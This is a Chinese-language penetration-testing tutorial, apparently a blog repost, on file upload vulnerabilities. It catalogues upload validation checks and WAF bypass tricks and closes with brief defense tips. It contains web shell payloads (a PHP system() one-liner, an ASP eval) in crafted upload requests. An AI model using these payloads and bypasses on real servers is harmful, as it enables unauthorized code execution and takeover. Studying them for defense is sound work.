典型漏洞概括之上傳漏洞

0x01 概要說明

文件上傳漏洞能夠說是平常滲透測試用得最多的一個漏洞,由於用它得到服務器權限最快最直接。可是想真正把這個漏洞利用好卻不那麼容易,其中有不少技巧,也有不少須要掌握的知識。俗話說,知己知彼方能百戰不殆,所以想要研究怎麼防禦漏洞,就要了解怎麼去利用。此篇文章主要分三部分:總結一些常見的上傳文件校驗方式,以及繞過校驗的各類姿式,最後對此漏洞提幾點防禦建議。javascript

from : http://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/php

0x02 文件上傳校驗姿式

  • 客戶端javascript校驗(通常只校驗後綴名)
  • 服務端校驗
    • 文件頭content-type字段校驗(image/gif)
    • 文件內容頭校驗(GIF89a)
    • 後綴名黑名單校驗
    • 後綴名白名單校驗
    • 自定義正則校驗
  • WAF設備校驗(根據不一樣的WAF產品而定)

1.客戶端校驗

  通常都是在網頁上寫一段javascript腳本,校驗上傳文件的後綴名,有白名單形式也有黑名單形式。
  判斷方式:在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,內容如:只容許上傳.jpg/.jpeg/.png後綴名的文件,而此時並無發送數據包。html

2.服務端校驗

2.1 content-type字段校驗

  這裏以PHP代碼爲例,模擬web服務器端的校驗代碼java

<?php
        if($_FILES['userfile']['type'] != "image/gif")  #這裏對上傳的文件類型進行判斷,若是不是image/gif類型便返回錯誤。
                {   
                 echo "Sorry, we only allow uploading GIF images";
                 exit;
                 }
         $uploaddir = 'uploads/';
         $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
         if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
             {
                 echo "File is valid, and was successfully uploaded.\n";
                } else {
                     echo "File uploading failed.\n";
    }
?>

能夠看到代碼對上傳文件的文件類型進行了判斷,若是不是圖片類型,返回錯誤。linux

2.2 文件頭校驗

  能夠經過本身寫正則匹配,判斷文件頭內容是否符合要求,這裏舉幾個常見的文件頭對應關係:
(1) .JPEG;.JPE;.JPG,」JPGGraphic File」
(2) .gif,」GIF 89A」
(3) .zip,」Zip Compressed」
(4) .doc;.xls;.xlt;.ppt;.apr,」MS Compound Document v1 or Lotus Approach APRfile」web

0x03 文件上傳繞過校驗姿式

  • 客戶端繞過(抓包改包)
  • 服務端繞過
    • 文件類型
    • 文件頭
    • 文件後綴名
  • 配合文件包含漏洞繞過
  • 配合服務器解析漏洞繞過
  • CMS、編輯器漏洞繞過
  • 配合操做系統文件命名規則繞過
  • 配合其餘規則繞過
  • WAF繞過

1.客戶端繞過

  能夠利用burp抓包改包,先上傳一個gif類型的木馬,而後經過burp將其改成asp/php/jsp後綴名便可。shell

2.服務端繞過

2.1 文件類型繞過

  咱們能夠經過抓包,將content-type字段改成image/gifwindows

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原爲 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY-
2.2 文件頭繞過

  在木馬內容基礎上再加了一些文件信息,有點像下面的結構
GIF89a<?php phpinfo(); ?>安全

2.3 文件後綴名繞過

前提:黑名單校驗
黑名單檢測:通常有個專門的 blacklist 文件,裏面會包含常見的危險腳本文件。
繞過方法:
(1)找黑名單擴展名的漏網之魚 - 好比 asa 和 cer 之類
(2)可能存在大小寫繞過漏洞 - 好比 aSp 和 pHp 之類
能被解析的文件擴展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee服務器

3.配合文件包含漏洞

前提:校驗規則只校驗當文件後綴名爲asp/php/jsp的文件內容是否爲木馬。
繞過方式:(這裏拿php爲例,此漏洞主要存在於PHP中)
(1)先上傳一個內容爲木馬的txt後綴文件,由於後綴名的關係沒有檢驗內容;
(2)而後再上傳一個.php的文件,內容爲<?php Include(「上傳的txt文件路徑」);?>
此時,這個php文件就會去引用txt文件的內容,從而繞過校驗,下面列舉包含的語法:

#PHP    
<?php Include("上傳的txt文件路徑");?> 
#ASP    
<!--#include file="上傳的txt文件路徑" -->
#JSP    
<jsp:inclde page="上傳的txt文件路徑"/>
or  
<%@include file="上傳的txt文件路徑"%>

4.配合服務器解析漏洞

http://www.cnblogs.com/shellr00t/p/6426856.html

5.配合操做系統文件命令規則

(1)上傳不符合windows文件命名規則的文件名
  test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::$DATA
  shell.php::$DATA…….
會被windows系統自動去掉不符合規則符號後面的內容。
(2)linux下後綴名大小寫
在linux下,若是上傳php不被解析,能夠試試上傳pHp後綴的文件名。

6.CMS、編輯器漏洞

(1)CMS漏洞:好比說JCMS等存在的漏洞,能夠針對不一樣CMS存在的上傳漏洞進行繞過。
(2)編輯器漏洞:好比FCK,ewebeditor等,能夠針對編輯器的漏洞進行繞過。
可參考如下連接

https://www.leavesongs.com/PENETRATION/UseOfFckeditor.html
http://shack2.org/article/183.html
http://www.cnbraid.com/2015/fckeditor.html
https://docs.google.com/document/d/1w_61xR8U7nmn4Y0CvBHpG1uFIU2ORx69QnqTxQt8Km0/edit?pli=1

 

7.配合其餘規則

(1)0x00截斷:基於一個組合邏輯漏洞形成的,一般存在於構造上傳文件路徑的時候
  test.php(0x00).jpg
  test.php%00.jpg
  路徑/upload/1.php(0x00),文件名1.jpg,結合/upload/1.php(0x00)/1.jpg
僞代碼演示:

name= getname(httprequest) //假如這時候獲取到的文件名是 help.asp.jpg(asp 後面爲 0x00)
type =gettype(name)        //而在 gettype()函數裏處理方式是從後往前掃描擴展名,因此判斷爲 jpg
if(type == jpg)
   SaveFileToPath(UploadPath.name, name)   //但在這裏倒是以 0x00 做爲文件名截斷
//最後以 help.asp 存入路徑裏

(2).htaccesss

上傳當前目錄的.htaccess 文件

例如內容爲: AddType application/x-http-php .jpg   (上傳的jpg 均以php執行)

把.htaccess 上傳後,且上傳成功後,再上傳內容爲一句話的jpg文件

 

8.WAF繞過

8.1 垃圾數據

  有些主機WAF軟件爲了避免影響web服務器的性能,會對校驗的用戶數據設置大小上限,好比1M。此種狀況能夠構造一個大文件,前面1M的內容爲垃圾內容,後面纔是真正的木馬內容,即可以繞過WAF對文件內容的校驗;

固然也能夠將垃圾數據放在數據包最開頭,這樣即可以繞過對文件名的校驗。

能夠將垃圾數據加上Content-Disposition參數後面,參數內容過長,可能會致使waf檢測出錯。

8.2 filename

針對早期版本安全狗,能夠多加一個filename

或者將filename換位置,在IIS6.0下若是咱們換一種書寫方式,把filename放在其餘地方:

8.3 POST/GET

有些WAF的規則是:若是數據包爲POST類型,則校驗數據包內容。
此種狀況能夠上傳一個POST型的數據包,抓包將POST改成GET。

8.4 以上方式

針對WAF,以上介紹的服務器解析漏洞、文件包含漏洞等均可以嘗試繞過。

 

8.5 利用waf自己缺陷
刪除實體裏面的Conten-Type字段

 

 
第一種是刪除Content整行,第二種是刪除C後面的字符。刪除掉ontent-Type: image/jpeg只留下c,將.php加c後面便可,可是要注意額,雙引號要跟着c.php。

 

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
構造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
刪除Content-Disposition字段裏的空格

 

 增長一個空格致使安全狗被繞過案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
嘗試在boundary後面加個空格或者其餘可被正常處理的字符:
boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小寫

 

 

Boundary邊界不一致

每次文件上傳時的Boundary邊界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--

但若是容器在處理的過程當中並無嚴格要求一致的話可能會致使一個問題,兩段Boundary不一導致得waf認爲這段數據是無心義的,但是容器並無那麼嚴謹:
Win2k3 + IIS6.0 + ASP

 

 

 

 

 文件名處回車

 

 

 

多個Content-Disposition

在IIS的環境下,上傳文件時若是存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值做爲接收參數,而若是waf只是取最後一個的話便會被繞過,Win2k8 + IIS7.0 + PHP

利用NTFS ADS特性

ADS是NTFS磁盤格式的一個特性,用於NTFS交換數據流。在上傳文件時,若是waf對請求正文的filename匹配不當的話可能會致使繞過

 

 

文件重命名繞過

若是web程序會將filename除了擴展名的那段重命名的話,那麼還能夠構造更多的點、符號等等。

特殊的長文件名繞過

文件名使用非字母數字,好比中文等最大程度的拉長,不行的話再結合一下其餘的特性進行測試:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反刪除

將下圖file1改爲了file4,這樣就不會把這個文件刪除了。(JCMS漏洞)

 

文件校驗的幾點建議

  • 文件擴展名服務端白名單校驗。
  • 文件內容服務端校驗。
  • 上傳文件重命名。
  • 隱藏上傳文件路徑。

  以上幾點,能夠防護絕大多數上傳漏洞,可是須要跟服務器容器結合起來。若是解析漏洞依然存在,那麼沒有絕對的安全。

相關文章
相關標籤/搜索